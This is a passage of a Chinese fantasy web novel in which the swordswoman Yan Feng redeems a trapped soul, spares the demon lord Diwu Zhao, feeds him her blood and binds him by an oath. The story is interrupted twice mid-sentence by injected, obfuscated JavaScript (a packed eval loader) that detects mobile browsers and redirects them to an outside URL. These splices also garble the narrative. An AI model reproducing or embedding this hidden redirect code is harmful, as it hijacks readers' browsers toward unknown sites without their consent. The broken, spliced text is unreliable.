第二剑,穿目断须! 而第三剑的目标是—— 护心鳞! 鄢丰倒飞而下,正欲斩出一剑,却见到那怪物的护心鳞上,赫然贴了两个符咒。 爆破符。 鄢丰蹙眉,但又不敢犹豫,抬起剑柄,却发现怪物突然没了动静,下一刻轰然落地,鄢丰敏锐的躲开,看着无力的趴在地上的怪物脑袋。 怪物发出哀哀之声,竟似如泣如诉,瞎眼里不断流下血泪来,落在地上,竟然是滚烫滚烫的! 这并非低阶魔物,相反,它不是冷血生物,似有灵智。鄢丰猛地反应过来,那护心鳞的爆破符与寻常的不同,逆方向而画,原来并非针对外来者,而是—— 一旦被揭下,那符咒便会将着怪物炸得尸骨全无! 鄢丰蹙起眉,抚上怪物的脑袋。怪物似有所感似的低声哼哼起来,竟好像在倾诉着什么。 这怪物分明已开了灵智,只是不知什么原因失去神智才攻击来人。 鄢丰握紧手中剑,举起又放下,半晌,长叹出一口气…… . 与此同时,人间,阴阳家。 天象异变,乌云突然如烟般飘渺散开,分明没下过雨,天边却现出一道浅浅虹桥来。 衡枢正端坐屋外,杯中纳溪梅岭散发着淡淡清香,他低头,慢条斯理,轻啜一口,抬起头,对天笑道:“看来鄢道友那边,一切顺利。……鄢道友,衡枢在这里,静候佳音。” . 9. 群魔(下) . 鄢丰听着那魔龙哀鸣不断,剑在手中却始终无法打出最后一击。 倘若不能杀了这魔龙,便无法取它内丹。 对从前的她而言,这不过是一抹执念,尚可轻易罢休,可如今鄢年残魂已被找到,不日就可送入轮回,这样一来,如果此番没能成功,鄢年便只能带着前尘未还的因果转世,必然不可得一世安康。 可这魔龙显然已经生出灵智,似有冤屈。 她一剑下去虽然了结了一切,却也是滥造杀孽,于心不安。 好在鄢丰没有犹豫太久——她决定救这魔物一把。 鄢丰想了想,就地坐下,口中念诀,须臾之间一条血线从她心口处破出,竟是取了自己的一滴心头血。 鄢丰的心头血是这世间最宝贵的灵物。 她身上有累世功德,尽数凝结在心头血之中。一滴心头血赠与他人,足以赐他一场大造化。 鄢丰决定度化这魔龙。 虽则不知中间的经过,但是可以确定的是,它必然是因为魔气的积聚而最终彻底失去神智的。它已经是妖魔之身,却生出灵智,最好的办法当然不是斩杀,而是度化。 如此一来,即便她无法拿到它的内丹,却也帮它得以步入轮回,彻底斩断了鄢年前尘的最后一段因果。 那心头血在魔龙眉心一落,魔龙顷刻之间便化作无数碎星,消散不见。 然而片刻之后,那星点光华却并未就此散去,反而渐渐聚拢,最终化作一女子的模样,落在地面上忽隐忽现,正朝她盈盈一拜。 “妾身镇守此地五百年,幸得姑娘善心相救,方得重见世间一目。请受妾身一拜。” 鄢丰愣了愣,却并不意外,抱拳朝向那女子:“晚辈鄢丰,敢问前辈是何方神圣?” 那女子身穿锦绣襦裙,姿容绝色,只是目光始终愁苦,眉眼颦颦。 “妾身苏琬绣,本是镇守万魔窟上古魔龙的‘守门人’。”她眉目低垂,微微一顿,“……也是上任魔君的发妻,如今的魔君第五昭的亲生母亲。” 鄢丰闻言反而一愣:“上古魔龙?” 苏琬绣却看出她的疑惑,长叹道:“妾身惭愧,本应镇守万魔窟,以身封印魔龙睚眦,护我魔域万千子民平安。然,此地魔气太重,妾身魂魄被拘于此,日日受尽寂寞煎熬,终是意志不坚,身染魔气,心生恶念,日复一日,一发不可收拾,魂魄终与恶龙水乳交融,失去神智……” 相传,魔族最早的先祖,便是龙之次子,睚眦。 它凶狠好斗,怀嗜杀之心,终惹得九重天上诸神震怒,被驱逐凡间蛮荒之地,便成了如今的魔域。 魔域中人,从睚眦那一代起,便始终是低人一等的存在。 到了如今,更是如此。 只因世人如今以修心之道为上上之道,是人,便或多或少有其善性之品质存于心底,只需发之心中,便自有力量。 性有三品,上焉者,善焉而已矣;中焉者,可导而上下也;下焉者,恶焉而已矣。 世间多数人都是中品之心,如鄢丰这般上品之善者极为少见。 然而,魔族中人,却多持下品之心,恶念难以自持。人皆对其避而远之,谈之色变。 后来,人类之中走火入魔者、恶念加身者,一切为世人所不容者渐渐都去往魔域。也正因如此,代代传下来,魔域如今多半已经不是纯血魔族,心性中品者也占了多数了。 苏琬绣继续道:“却不想,那魔龙其实早已消失于世,最终竟是妾身被恶念缠身,自己成了恶龙。”长叹一声,“是妾身之过啊。” 鄢丰摇摇头,笑道:“夫人何必苛责自己?守持正道之路何其沧桑,世间又有几人能做到呢?” “道是救了我的,自当是如姑娘这般宽仁的人物啊……如此,”她似乎下定了某种决心,对鄢丰道,“妾身有一事相求。倘若姑娘肯应下,妾身愿为姑娘指引前路。” “夫人请讲。” 对方却突然朝着她直直跪下来,鄢丰一惊,侧身避开这一礼,欲要将她扶起,手触到魂体,却虚虚穿过,碰不到实体。 苏琬绣仍然跪着,话未出口便流下泪来:“求姑娘救救我儿第五昭!” 鄢丰蹙眉:“他如今已是魔域至高的魔君,无病无灾,夫人何出此言?” 苏琬绣道:“可是姑娘可知,昭儿他……没有心脏。”她目光悠远,娓娓道,“当初……” 一千年前,苏琬绣本是一普通符修,却与当时的魔君第五长渊互诉衷肠,两情相悦,一腔热血随着他来到了魔域,还为他诞下一子。 这孩子虽然母亲是一名修士,却继承了父亲的全部血脉,甚至更青出于蓝而胜于蓝。 正是第五昭。 然而好景不长,一日,第五长渊外出查案,苏琬绣在宫中照料年幼的第五昭。却忽听一阵异动,正从禁地之处传来。 禁地历来只有魔宫之主才可以涉足,此刻第五长渊不在,苏琬绣只得草草交代侍女照料孩子,孤身跑去万魔窟查看。 万魔窟内地动山摇,走至尽头,只见一魂体竟然正以自身魂魄之力与一恶龙搏斗! 然而他此刻显然已经十分虚弱,眼看那魔龙就要一口将他吞噬! 苏琬绣曾从夫君口中听过有关于万魔窟的传说:那洞窟里真正可怖的,是一条恶龙。除非世代有人以魂魄镇压,否则它一旦被放出来,就会毁了整个魔界。 她片刻不敢耽搁,掐诀念咒,无数符咒飞出,朝向那恶龙袭击。 但此举无异于蚍蜉撼树,镇守者的魂魄仍然在不断消散,眼看恶龙就要破洞而出,苏琬绣来不及多想,飞身跑到镇守者所在之地,那一处原来有一阵法,一面将镇守者的魂魄拘于此地,一面将恶龙困在这里,镇守者一日不出、魂魄一日不灭,那恶龙自然就得跟着乖乖待在此处。 她方一站到那阵法之上,冲天的光芒一闪而逝!苏琬绣浑身好像被撕扯得要散了架,传来阵阵剧痛,回过神来,却见那恶龙已然停止了咆哮挣扎,转而低下头,将身下的身体撕碎啃咬。 苏琬绣大惊失色,只因正为那魔龙饱餐一顿的,正是她自己的身体!她这才发现自己的身体已然呈半透明状,同方才的镇守者一样—— 她已然成了新的镇守者! “事已至此,我只能认命。魔族子民拥簇着我夫妻二人千百年,我以此身保护他们周全,原本,也算不上什么。只是……”她苦涩的笑了笑,“我在这里日日夜夜的守着,一面盼着有人来,能同我说上几句话,一面又盼着,莫要有人来……即便我镇守此地,若有人误闯此地,恐怕也要死无葬身之地。” 她又露出哀愁的目光,鄢丰听了这些却由衷感到敬佩:“夫人高义,当得起魔界子民的爱戴。” 苏琬绣不答,平静的声音如一潭死水:“我左盼右盼,却不想,盼来的是昭儿。我从他的记忆里知道了我到了这儿以后,外面发生的许多事情。” 第五长渊回去后,找遍整个魔宫,也不见苏琬绣的影子。他最终才知道,因为万魔窟异动,她独自一人,进了禁地。 第五长渊欲要进万魔窟寻,可谁都知道去了万魔窟十有八九是有去无回的,魔君也不能例外,遂对第五长渊这一想法百般阻挠,却都拦不住。 最终是当时的左使飞尘,为了阻止第五长渊进入万魔窟,为他提了另一个办法。 如果夫人的魂魄被拘在禁地,与其君上亲自去找,不如以血亲之心作引,以引魂之术可得。 那第五长渊已然疯魔,丝毫不再考虑其他,毫不犹豫的将第五昭的心脏生挖了出来! ——“没了心脏,你还能活。就让你这颗心,将你的母亲找回来罢。” 鄢丰静静听着,看着苏琬绣的魂魄,结局自然不言而喻。 苏琬绣竟以魂魄之体流下泪来:“……那阵根本就没有施成。只因,那一日正是满月夜。” 天生魔种,是受到诅咒的存在。无论是鄢年还是第五昭,都是如此。 天生魔种多生一颗下品之心,力量强大,与此同时,每到满月之夜便要受魂魄撕裂之痛,唯有造下杀孽才可缓解一二——世间魂魄本就与魔气相冲,纯种之身不同于走火入魔者,一旦入魔就再无法修炼,相反,却可以依凭魔气获得强大的力量。 这通常被认为是一种,对睚眦后人的诅咒,也是考验。若不能心智坚定,便会一步步,沦落成鬼。 而心脏,不仅是一个器官,更是自控之中枢。 没了心脏,自然就只能遵从欲望,成了杀人不眨眼的怪物。 果不其然—— “昭儿他没了心脏,无法自控,亲手将他的父亲杀了。他彼时没了神智,怎知要将自己的心找回来,整整一晚……他几乎将魔宫屠了个遍。……也是从那之后,他才遇到了令妹。” 而那颗心脏,自第五长渊死后,最终不知所踪。 她啜泣着道:“如今昭儿已然将近七百岁,却仍然每每满月之日,频频造下杀孽,无可自制。而且,虽则魔族不死不灭,但若是心脏终日不在体内,总有一天,他会彻底成为一具,只会杀人的行尸走肉。姑娘仁心众生,求姑娘也救一救昭儿,帮他找到他失去的心脏吧。” “我如今苟存于世,唯一挂心的便只有昭儿了。求姑娘成全妾身一番执念,纵是魂飞魄散,妾身也是肯的!” 鄢丰脸上的表情是可怕的平静,半晌,她道:“……第五昭他已然造下这般杀孽,又如何还有回头路?”她看着苏琬绣殷切的神情,“何况,即使到了今天,他也仍然不断的造下数不尽的杀孽。我如今救他、救魔界最好的办法,当是杀了他。” 女子脸色一下变得惨白,魂魄更淡了几分。 “夫人一片拳拳爱子之心,魂魄被拘于此地百年,镇守禁地,如今只此一愿,鄢丰本不该推辞。” “可今日若我救他一命,却要以来日千千万万人之性命做代价……”鄢丰朝女子一拜,“恕鄢丰,难以从命。” “……姑娘可知,昭儿小的时候,还不是如此。” 鄢丰不语。 苏琬绣看着她面目坚定,叹气道:“姑娘不必急着答复,且看一看,再做决定不迟。” 鄢丰迟疑一下,然而触及女子哀求的目光,终是点点头。 那是苏琬绣的一段记忆,很短。 但唯一清晰的是,鲜红欲滴的一轮满月,和一个浑身是血的小孩。 彼时第五昭还只有鄢丰一半那么高,红色的瞳孔整得老大,魔气从他周身溢出。 他手上长出利爪,正在露出的手腕上挠出触目惊心的血痕。 然而这样的痛楚并不能转移魂魄撕裂的痛苦和嗜血的欲望,苏琬绣端着一碗鲜血进了屋:“昭儿……” 第五昭闻到鲜血的味道,目光变得锐利,他不管不顾的跑向苏琬绣,正要抢过碗,下一刻却痛苦的停下来,一下打翻那碗血,獠牙越来越长,他却跌跌撞撞跑了出去。 再被苏琬绣找到的时候,他已经浑身是血,抱着一棵参天巨树,不住的撞着树干,抖落无数枯叶,树干几乎被磨掉一层皮。 他似乎终于好了一些,转过头,额角已然血肉模糊。 “母……亲……” 他刚喊了一声,又吃痛的嘶吼了一声,一下又一下的以头抢树,发出砰砰巨响。 直到满月渐渐消失,那棵大树竟应声而倒,第五昭被母亲抱在怀里,死死闭着眼睛。 “昭儿继承了长渊的血脉,自此,长渊身上的诅咒便消散了,由他代受。哪怕是犯人的血、我的血、他父亲的血,他都一概不肯喝下一点,每逢满月,就这样度过。” 小的时候在家中,鄢年也是这样的情形。 看到这样触目惊心的画面,不可否认没有分毫触动。 “……即便彼时已没了心,他也仍是对姑娘之妹动了情,乃是真心实意,只想同她共度余生,再不做他想。”苏琬绣突然急切起来,看向鄢丰,“就是看在是令妹亲手将他推下万魔窟的份儿上,也请姑娘帮帮他吧……” 鄢丰垂眸,面色不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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鄢丰瞥了一边的女子一眼,沉思不语,静静听了一会儿,辨清方向,正欲挥剑将面前的石壁强行破开,女子却突然苦笑一声,轻声问:“即使如姑娘这般,也信那天命不可违,信那心性不可改么?”她颤声道,“……难道天生一颗魔心,凭我们如何教化挣扎,也永远只能是一颗肮脏龌龊的魔心吗。” 鄢丰动作一顿。 “姑娘,杀一恶人证道,自然是功德一件;可引一恶人入正途,那才是真正之大道。……姑娘以为,是也不是?” 鄢丰回过身:“但我若不杀他,便是助纣为虐,将无数可能被他牵连加害的性命置于不顾。鄢丰担不起这样的责任。” 但苏琬绣却瞧出了她的动摇,只问:“姑娘当真不肯试一试?这世上有无数偏见、歧视、不公。若人世不公,当破而后立;那魔族世代都带着这样肮脏的诅咒而生,岂非天道不公?!”她顿了顿,又哀求道,“那是妾身的孩子,妾身最清楚不过……只要姑娘肯为他寻回心脏,他定不会再自甘堕落,伤及无辜。” 鄢丰看着苏琬绣的泪眼,一瞬间脑中想到很多。 人自当顺应天命,守正不改,乃得大道。 可一颗下下品的心脏,一颗天生便无法守正常行的心脏,也还是天道赋予,岂非荒唐? 若天行有常,秩序不改,如一般魔族的存在,其诞生岂非便注定死路一条? 一人之心性,难道真的天生注定,无可更改,一旦向恶,便绝无向善之路? 半晌,鄢丰长叹一声,道:“也罢,既然如此……鄢丰自当竭力一试。”她朝着眼前的石壁挥出剑气,那石墙竟纹丝不动。 鄢丰叹口气,放下剑,补充道:“……替他找回心脏之前,我不杀他,当竭尽所能,引他向善。” “鄢姑娘高义,请再受妾身一拜。”她几乎再没直起腰来,一遍又一遍朝她行礼作揖,“姑娘一诺千金,妾身这便放心了……妾身先代昭儿,谢过姑娘。” “今日与夫人一言,鄢丰也感慨颇多。如今终许夫人一诺,只因我也想看看……一颗天生魔心,到底能不能,终成琥珀。” 苏琬绣欣慰的笑了,倏忽之间地面剧烈震颤起来,她的魂魄竟也随之变得越来越淡,呈消散之势。 下一刻,那一滴竟自己回到了鄢丰身上,钻入心口那道伤口。 迎着鄢丰震惊的目光,她道:“我骗了姑娘。——这万魔窟,原是没有出口的。唯一的办法,便是以镇守者魂魄之力,彻底毁掉它。” “姑娘为妾身了却最后一桩愿望,妾身自当甘愿为姑娘,魂飞魄散。” 无数碎石滚落,鄢丰却久久不动。苏琬绣的魂魄愈发淡了,渐渐化作星点而散,她终于开了口—— “我既答应夫人所托,自当尽力而为,但,”她看着女子逐渐模糊消散的脸,一字一句问,“若鄢丰已然竭尽全力,他仍屡教不改,至于伤我亲族、弑其百姓,终成兽心——夫人待如何?” 女子听罢目光哀哀,魂魄几乎散尽,仍久久不曾言语。 . 鄢丰一剑劈碎洞窟肮脏碎裂的石块,稳住身子,一步一步,走出了那断壁残垣。 万魔窟已毁! 万魔窟中的魔物早因为镇守的魔龙之死失去浸润,万魔窟也塌成一片废墟,魔气四散奔逃,无数黑虫尸体覆盖在地面上,竟如一张黑色的地毯,铺展开来。 鄢丰走出万魔窟,眼前突然黑影一闪。 鄢丰霍然一惊,抬起头正对上一双猩红的眼睛! 他五指已经长出长长的利爪,身后尸横一片,口中獠牙展露无遗,鲜血从他嘴边流下来,他用手一抹,餮足的伸出舌尖舔了一口,转向新的猎物—— 这美味的、浑身都散发着十分香甜血液气息的猎物。 他口中仍在咀嚼着什么,发出嘎吱嘎吱的声音,他身后,无数尸体,身上却都无一例外的在心口处开了个血窟窿! 第五昭一步一步朝她走来,仿佛索命的厉鬼,为她的生命做倒计时。 鄢丰只望着那些触目惊心的尸体,流下泪来。 第五昭却已经用利爪朝她袭来! 鄢丰就地一滚躲开这一击,慢慢站起来,恍然间觉得竟同万魔窟中所遇的一般无二。 鄢丰握紧剑柄,目光平静的看向那嗜血的怪物,回想起苏琬绣魂飞魄散之前,最后的回话—— “若他仍是不知悔改,嗜血不化,沦落深渊,再不能返,”女子最后抬头望了一眼漆黑的天幕,终是幽幽长叹一声,再拜稽首,“那便请姑娘亲手……杀他证道。” . 10. 交缠(上) . 夜风掀起地上枯黄草叶,如根根长刺摇曳、潜伏在夜色之中。 天地之间,一时竟半点儿声音也没有。 只有一片废墟之前,剑光闪过的点点寒芒。 鄢丰平静却掩盖不住杀意的眼睛直直对上第五昭失焦猩红的瞳孔。左手紧握一把剑,正抵在他脖颈边,一分、一分、又一分的深入,他苍白裸露的颈项一点点渗出血来,滴答滴答顺着剑芒而下。 然而与此同时,第五昭那长出尖利指甲的手,竟正正抵在鄢丰胸口,几乎只需再使劲儿一握,便能将那颗砰然跳动的心脏给挖出来! 察觉到眼前女子的危险,他似乎在蛰伏、等待着一个机会。 两人僵持不下,谁也不肯退,谁也不再进。 鄢丰闭了闭眼,余光仍然没法忽视那满地的尸体,甚至有些胸前的开了个大口子却还正不住的流血,可以想见人都失去呼吸了,尸体却不甘心般的仍然在挣扎着…… 巨大的酸意涌向鼻尖头顶,鄢丰握着甘镬剑的手微微颤抖,越收越紧。 天生魔种,魂魄不死不灭,但却不是没有杀掉的办法。 头顶的血月昭示着答案。 满月之夜,既是魔种力量最强的时刻,同时也是魂魄力量最薄弱的时刻。 心存则神存,心灭则神灭。魂魄当中潜藏最深的兽性在满月夜不可抑制的被激发,强大的力量就此失控,却也将魂魄最薄弱之处剖开来。换而言之,月圆之夜,天生魔种神智失控的越彻底,魂魄的力量和防守便越薄弱—— 此刻,便是杀他最好的时刻。 只要微微将剑再深入几寸…… 甘镬剑寒光闪烁,发出微弱的嗡鸣声。它此刻饮了血,剑身亮了三分,正在叫嚣着更多。 鄢丰清楚自己剑的速度。 即便现在两厢僵持不下,但只需要将这剑注入灵力,再不犹豫的回抽,血溅三尺,一剑封喉,不在话下,抵在胸口那只手不可能有机会再得存进。 鄢丰最终下定了决心。 霎时之间,剑光大盛! 下一刻,鄢丰极速后退三寸,甘镬剑擦着第五昭的身侧而落,撞在他身上金属的配饰上发出哐啷轻响。 一缕青丝直直切断,随着寂静的风,惊惧的飘落。 甘镬剑却不满的嗡鸣起来,剑身在空中一闪—— 雪亮的剑光在狭窄的剑身上,竟倒映出男女交缠的脖颈。 鄢丰左手艰难的抓住第五昭伸出还欲再次袭击心脏的一只手,紧紧箍住,让它再也不得动弹。 而后微微踮起脚,仰头碰上他的唇瓣。 她右臂已断,第五昭另一只手已然再次划破她的心口! 然而鄢丰却似毫无知觉,反而强行撬开他咬紧的牙关,任由他那长而锋利的兽齿狠狠刺破她的下唇,咸腥的味道同时回荡在两人唇齿之间,源源不断的新鲜血液顺着她的唇流入他口中。 两人此刻距离极近,鼻尖对鼻尖,连眨一眨眼都如清风划过脸庞般带来异样的触感。 鄢丰的血像是一种镇定剂,安抚了对方的躁动。胸口仍然威胁着生命的那只手几乎下一刻就要彻底刺破皮肉的阻隔,探寻到内中的宝藏来!然而却堪堪停了下来。 鄢丰始终死死盯着那双眼睛。 直到此刻,第五昭已然褪去血色的眼睛,也直而有神、阴戾讥诮、似笑非笑的看向她。 唇齿间突然传来剧痛,血液的加速流失和脱离危机后,身上伤口带来的加持带来阵阵眩晕。 然而第五昭却仿佛永无止境的攫取,獠牙将下唇的伤口不断加深,那血腥味在方寸之间变得愈发浓郁—— 血液盛宴。 鄢丰左手蓄力,灵气瞬间暴涨,竟生生拧断了第五昭左手的腕骨! 他才终是迟钝的停了下来,吃痛的蹙起眉。眼神再次看向她,却不见愤然,反而九分全是找到猎物对象的兴致盎然。 甘镬剑感受到此刻紧绷的氛围和危险的到来,荡出剑气,借力飞回鄢丰手中,与月华争辉。 “……你果真,藏得够深啊,鄢丰,”第五昭漫不经心的环视四周惨不忍睹的尸体,第一次指名道姓的叫她,“嗯?——天生灵血?” 天生魔种,乃是受天道诅咒而生,血脉肮脏,每逢满月之夜便要受尽痛苦折磨,神智失控,嗜血狂暴。 而天生灵体,则恰恰相反。 天生灵体者,汲天地万物精粹至纯之华而生,灵脉之中充盈灵气,修炼比人一日千里,心性上上品,天生英才,只需按部就班便能轻易飞升成仙,百年难得一遇。 而天生灵体与天生魔种相生相克,因此,每每魔种的魂魄饱受魔气摧折,痛苦不堪之时,唯有这灵血可以压制一二,减轻其痛苦,更重要的是使其恢复神智,不必受魔气蒙蔽,魂魄一击即碎。 鄢丰不语,转过身,慢慢走向那些死者所在之处。 她一一确认再无就治的可能,长叹一口气,将他们死不瞑目的眼挨个阖上。 第五昭始终低着头看她做这一切,竟没有出声打断,半晌,突然嗤笑一声:“死了就是死了,做这虚伪无谓的事情有什么意义?” “意义?”鄢丰竟也笑了一声,停下来,认认真真看向他,一字一顿,“第五昭,你是魔君。——你可知道‘魔君’二字,又有何意义?” 第五昭耸耸肩:“没有意义。成者王,败者死,我是魔域最强的存在,自然有资格住在这宫殿当中,做他们的魔君。” 鄢丰皱着眉头站起来,厌倦了这无意义的对白。剑光泠泠,腕上鲜血喷涌而出,慢慢滴落。 第五昭体内凶性只是暂时被压制,却仍然蠢蠢欲动,伺机而发。此时眼睛时红时暗,死死看向那滴血的手腕,腥甜的香气使他抑制不住的喘息起来,理智再一次在离析的边缘。 鄢丰却挽出一个剑花,一剑捅穿他的肩胛骨! 他注意力都被血吸引,始料不及,被这一剑刺得清醒了几分,鄢丰速度极快,抽剑入鞘! 疼痛激得他浑身阵阵凉意,第五昭捂住伤口,面色阴沉的看向罪魁祸首。 鄢丰垂眸,在他开口之前道:“你若还想要,”她抖了抖因为用力而淌出更多血的左手,“就同我一起,把他们安葬下去。” 第五昭舔舔干渴的嘴唇,妥协道:“……行。” “你们魔域这一块的墓地在哪?” 第五昭不耐烦道:“直接葬在这里不行么,本来就是乱葬岗。” 鄢丰沉默的看着数不清的尸体,叹气:“这是服侍你、你们魔宫的人。……你该当善待,妥善安葬。” “既然入了魔宫,自然是我想如何处置,就如何处置。——你到底想怎么样?” 鄢丰笑了笑,意料到这样的答案,并不看他,只轻声问:“如今,你魔宫还有随从侍女几人?今年愿意来的人,可还有几个?” 第五昭不语,半晌转过头看向别处,道:“……我怎么知道?” 鄢丰静静等着,并不再说。 第五昭终是道:“坟地在宫外面,这么多…………带不过去。” “……也罢。便在这一处,为他们安葬、立坟,年年常来祭拜吧。总归尽一份心意。” 第五昭于是也蹲下来,烦躁的挖坑,长指甲断了好几片,几乎血肉模糊,他也不理会,只自顾自挖了许多土坑:“扔进来,我把土填上。快点。” 鄢丰从万魔窟的废墟当中捡来许多碎石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557261|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块,片片劈碎成差不多大小,将尸体一一葬了,立上无名碑。 回过头上第五昭蠢蠢欲动的神情,鲜血在月色下显得很亮。鄢丰抬起手腕,凑到他唇边。 . 眩晕感阵阵袭来,鄢丰身形晃了晃,恍惚之间被人扶住,待到站稳身形才看向咫尺之间扶着她的第五昭:“以后的每一个满月夜,我都可以帮你。” 第五昭经过刚才的事情,一挑眉:“条件?” “第一,来日,我要你——拜我为师,在魔宫当中同我共行拜师之礼。” 第五昭蹙眉,似乎想到什么,随即应道:“……可以。” “第二,我一日以鲜血饲你魂魄免受魔气侵染,你便一日不可滥杀无辜。” 第五昭很快点头:“可以。” 鄢丰笑了笑,补充道:“口头为誓无以为据……”她看着他,道,“而你,并不可信。” 第五昭蹙起眉:“你想怎么样?” “最是无法毁约的办法,便是你我共立心魔誓。” 戾气再次攀上第五昭眉眼之间。 ——心魔誓,乃是以天道作见证,双方共同为誓,任何一方一旦违反,则死无全尸,魂魄顷刻之间,灰飞烟灭。 天道为誓,世间没有任何一个人可以摆脱之。因此,以心魔誓为证,最是稳妥。 鄢丰已然预料到对方的不满,猜到他的应承不过是假意为之。唯有心魔誓作契,才能放心。 良久,第五昭笑了笑,森森白牙毕露,竟然应了声:“我也有条件。” “——我要你帮我,救一个人。” 鄢丰蹙起眉,似乎没有想到这样的话是从第五昭口中说出来,只问:“谁?” “我的左使,温冥。” . 鄢丰跟着第五昭兜兜转转,发现魔宫之大一次次超乎自己所想。 最终他停在一座看起来十分荒凉的建筑前,然而却偶尔也有人进进出出,不至于显得森然恐怖。 第五昭走进屋子,受了侍女行礼,屋内一张床,却并无一人。 第五昭却随手拿起雕花檀木桌上一个瓷瓶子,端详了一会儿,突然松了手,瓷瓶应声而碎。 鄢丰一个激灵,却忽觉一阵寒气袭来。 ——原来这屋子别有洞天,暗门一开,竟是一冰室! 内中有一冰棺,棺内躺着一个眉眼阴柔的男子,也便是第五昭已然沉睡百年的左使,温冥。 鄢丰左手腕的伤口还没有包扎,此刻她再次扯动伤口,鲜血便顺着冰棺流向男子赤丨裸的上身。 这位左使的心口处有一道疤,似乎正是导致他沉睡的原因。而那道疤分明已经愈合,却在触碰到鲜血的刹那开了口子,将那些新鲜血液尽数吸收殆尽。 屋内瞬间闪过巨大光芒!无数古老文字闪烁着光芒将第五昭和鄢丰环绕—— 救人事成,心魔契自生效。 第五昭终是满意的笑了起来。 . 姑苏城外寒山寺,夜半钟声到客船。 人间万象,在夜半时分也不减分毫。寺庙的钟声阵阵响彻整座城,人们却恍若未闻,灯火煌煌的街市上挂着彩灯,小贩还在不住吆喝着,人们三三两两结伴而行,一片欢声笑语。 从桥上过,便能瞧见傍城的河水静静流淌着,将一只只彩船送去远方。 金碧辉煌的画舫之上,嬉笑声不断。女子们拥簇在船上,娇笑倩兮,好不热闹。 被环绕其中的男子却突然睁开一双淡红色的眼睛,懒洋洋坐起身来,顺着黑夜不断延伸的方向看去,饶有兴味的笑了—— “……你竟将他唤醒了。——这还真是个,意外之喜呢。” . 11. 交缠(中) . 是夜,鄢丰回到自己的木屋,将甘镬剑擦试过一遍,收了鞘放在枕边,拿出囊中安放的一枚舍利子。 这舍利子,乃是她往日游历九州时途径佛教,偶然结识了一位忘年之交。 那位僧人年事已高,却独独与她一见如故,留她手谈三日,最终恍然悟道,坐化飞升,只留下这舍利子,说便赠与知音。 鄢丰推辞不得,只能收下。 舍利子是上好的容器,魂魄寄居其中,可得功德温养。 这本是为修无量功德的僧侣轮回转世用的,舍利子转世,可得来生美满,无灾无厄。 然而那位朋友已然飞升成仙,去了九重天之上,这枚舍利子自然便没有了寄居的魂魄。 鄢丰细细端详着这枚舍利子,随着时间的消磨它不仅没有黯然失色,反而愈发光亮剔透。那位朋友飞升多年,原来这段往事已成一段峥嵘往昔,连故人的面目都已记不大清晰了。 鄢丰叹口气,看向窗外,似乎是喃喃自语:“还不来么?” “鄢道友,别来无恙。” 衡枢下一刻便突兀的出现在屋子里,不无讥诮的看向她悬垂在空中的右臂。 鄢丰笑了笑:“道你料事如神,这会恐怕,我想让你知道的,不想你知道的,你都该已然一清二楚了。” 衡枢不置可否,似乎不欲与她多言:“我来,取你的心头血。” 鄢丰看着手中那枚舍利子,问:“你瞧这枚舍利子,用它温养鄢年的魂魄,可好?” 衡枢冷哼一声:“你倒是舍得。” “左右我留着也没用,只是当初友人相赠,我不得推辞,故而留下。……想必那位长者知道,这枚舍利子没在我这里蒙尘,而是救了一人性命,也会欣慰的。于公于私,都谈不上不舍。” 鄢丰取出心头血滴在舍利子上,顿时佛光大盛! 这不起眼的木屋内发出耀眼的光芒,几乎将这一处照得亮如白昼。 那光芒经久不衰,半天才散,再瞧那舍利子,竟已被洗涤的如水晶澄澈。 鄢年将它递过去:“……那一日在失落之地,我只探到零星气息,想来若不是那岛上防守严密,便是鄢年的魂魄在人间和虚空飘荡太久,已然消散不少了。” 衡枢接过舍利子,眉头竟然罕见的皱起,语气显出不耐来:“只要她一魄尚在,就没有我阴阳家救不了的道理。——你还是先担心担心你自己吧。” 鄢丰当然知道他在说什么:“我过去在昆仑多年,什么样的伤都受过,这实在不值一提。何况,万魔窟,我也是非去不可的。” “你明知道自己心魔缠身,彼时不是合适的时机,非得招惹那个魔种不可?你不知道,你没有右手,就可能发生变数?” 鄢丰反而奇道:“原来也有你料不到的事情?” 衡枢额头青筋暴起:“鄢道友,你应该最清楚,每每发动阴阳眼,我便要受多大的反噬。我没有必要也不可能,什么鸡毛蒜皮的小事都料算在内。” 鄢丰道:“鸡毛蒜皮?他杀了那小姑娘一家人,哪一点算得上鸡毛蒜皮?” “哪一点都算,”衡枢一字一顿道:“区区四个魔域之人,还不配。更何况,” “以你当时的状态,十个你也救不了他们。” “几个人算值得,什么人才算值得?” 衡枢打断道:“我懒得同你讲这些,但我只想奉劝你一句,你跟那个连心都没有的魔种牵连过深,早晚有一天你会付出超乎想象的代价。” “如果有那一天,我会亲手杀了他。” “真到了你后悔莫及的时候,你杀他有什么用?” “……不是你跟我说过的吗?‘正因选择拯救而非毁灭,才注定受更多伤病困苦的磋磨。’” 衡枢默了默,半晌,道:“……鄢道友,如果我不是专修这阴阳眼,今日我必同你打上一架,让你清醒清醒,明白一件事——” “不是所有的人,都值得你救他的。” 衡枢转过身,正要离开,白色绫罗的蒙眼带却突然渗出血来。他脚步一顿,突然笑了笑。 “你真的甘心吗?——你的双剑流,再也不用。” . 衡枢第一次见到鄢丰那年,他才刚刚以阴阳眼入道,整个人练得眼睛几近血肉模糊。 那时候他还没有蒙眼的绸带,每每出门,都将人吓得退避三尺。 也正因如此,他那个时候,剑法很好。 人常说阴阳家的少主人,年纪轻轻便炼成阴阳家的至宝阴阳眼,经天纬地,无所不通。却不知道,在他将所有灵力、精力都投入其中之前,是用剑的。 他其实剑法很好。 那时候即便眼睛看不见,在阴阳家内也无人能企及。 偏偏有一日,有人砸了阴阳家的门,杀了守卫,闯进来说要会一会你们这里最强的人。 衡枢提着剑出去,那人盯着他瞧了半天,哈哈大笑:“阴阳家如今,竟凋敝至此,只一个残废来应战?” 衡枢那时候话更少些,剑花一挽,招招攻他死穴! 